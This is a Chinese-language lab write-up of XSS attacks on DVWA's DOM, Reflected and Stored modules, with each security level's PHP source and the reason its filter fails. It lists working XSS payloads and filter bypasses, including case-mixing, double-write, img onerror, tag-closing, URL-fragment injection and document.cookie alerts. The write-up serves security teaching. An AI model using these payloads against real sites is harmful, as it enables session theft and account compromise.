目录
XSS(DOM)-LOW
普通注入
代码分析
后端
前端
XSS(DOM)-MIDIUM
普通注入
大小写绕过
Html标签绕过
闭合标签
代码分析
XSS(DOM)-HIGH
闭合+HTML标签绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Reflected)-MIDIUM
普通注入
大小写绕过
双写绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-HIGH
普通注入
大小写绕过
双写绕过
html标签绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Stored)-MIDIUM
普通注入
大小写绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-HIGH
Html标签绕过
代码分析
主要步骤
漏洞原因
本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的XSS(DOM)、XSS(Reflected)、XSS(Stored)的LOW、MIDIUM、HIGH安全级别使用网络安全-js安全知识点与XSS常用payloads中提到的XSS注入payloads,使用手工进行XSS注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。
目标:弹出窗口/获得cookie
XSS(DOM)-LOW
正常
可以看到,是get型
普通注入 <script>alert('lady_killer9')</script>
注入成功
代码分析
后端 <?php
# No protections, anything goes
?>
前端
F12
代码:if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
下拉框显示4个,上面显示default参数的内容
漏洞原因:
输入未过滤
输出未改变编码
XSS(DOM)-MIDIUM
正常
可以看到是Get型
普通注入 <script>alert('lady_killer9')</script>
过了一会没有问题
过了一会,然后显示English。尝试大小写绕过。
大小写绕过 <scRipt>alert('lady_killer9')</sCript>
正常
和上面一样,过了一会显示English。尝试Html标签绕过。
Html标签绕过 <img src=x:alert(alt) onerror=eval(src) alt=xss>
仍没有显示
还是没有显示,那应该是需要闭合标签了
闭合标签 ></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
注入成功
代码插进去了
在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么***性。
代码分析 <?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
后端过滤了一下<script,大小写都不行。
XSS(DOM)-HIGHHIGH级别就不从普通的开始试了
闭合+HTML标签绕过 ></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
失败了
还是会变成English,应该是后端的问题。我也不知道怎么干了。。。
----------------写完后面的反射型,我又回来了---------------
锚点
反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。English#<script>alert('xss')</script>
注入成功
点击确定后
代码分析 <?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
主要步骤
array_key_exists函数判断default变量是否存在,并判断是否非空
使用switch...case构造白名单,若不在case中跳回到English
漏洞原因
输入想使用switch..case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
输出未改变编码
XSS(Reflected)-LOW
正常
普通注入 <script>alert('XSS')</script>
异常
代码分析 <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
主要步骤
array_key_exists函数判断name变量是否存在,并判断是否非空
若存在且非空,直接输出
漏洞原因
XSS(Reflected)-MIDIUM
正常
普通注入 <script>alert(document.cookie)</script>
注入失败
从结果来看,<script>和</script>没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过
大小写绕过 <sCript>alert(document.cookie)</scRipt>
注入成功
双写绕过 <scr<script>ipt>alert('XSS')</scr<script>ipt>
注入成功
代码分析 <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤
array_key_exists函数判断name变量是否存在,并判断是否非空
若存在且非空,使用str_replace函数替换<script>为空字符串,然后输出
漏洞原因
输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
输出未改变编码
XSS(Reflected)-HIGH
正常
普通注入 <script>alert('XSS')</script>
注入失败
仅剩余了>,其他全部没有了,尝试大小写或双写绕过
大小写绕过 <sCript>aleRt(document.cookie)</scRipt>
注入失败
双写绕过 <scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>
注入失败
可能使用了正则表达式,尝试不使用js标签
html标签绕过 <img src=x onerror=alert('XSS');>
注入成功
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
注入成功
点击链接后跳转
代码分析 <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤
array_key_exists函数判断name变量是否存在,并判断是否非空
若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出
漏洞原因
输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
输出未改变编码
XSS(Stored)-LOW
正常
post方式,两个都会输出,对一个进行注入即可。
普通注入 <script>alert('lady_killer9')</script>
失败
Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook
注入成功
点击其他页面并返回
代码分析 <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
主要步骤
isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
使用mysqli_query函数插入数据库
漏洞原因
未过滤输入,使用post方式增加难度
输出未改变编码
通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。
发现maxlength
删除maxlength="10"
注入成功
漏洞原因:使用前端限制长度
XSS(Stored)-MIDIUM
使用前端进行的长度限制
通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。
普通注入 <script>alert('lady_killer9')</script>
标签被删除
标签没了,尝试大小写绕过
大小写绕过 <scRipt>alert('lady_killer9')</sCript>
注入
成功
代码分析 <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
主要步骤
isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
使用str_replace函数将name中的<script>标签替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
使用mysqli_query函数插入数据库
漏洞原因
输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
输出未改变编码
XSS(Stored)-HIGH还是post方式,前端检查长度,直接删除,然后Html标签绕过、
Html标签绕过 <img src=x onerror=alert('XSS');>
注入
成功
代码分析 <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
主要步骤
isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
使用preg_replace函数进行正则表达式匹配,然后替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
使用mysqli_query函数插入数据库
漏洞原因
输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
输出未改变编码
更多内容查看:网络安全-自学笔记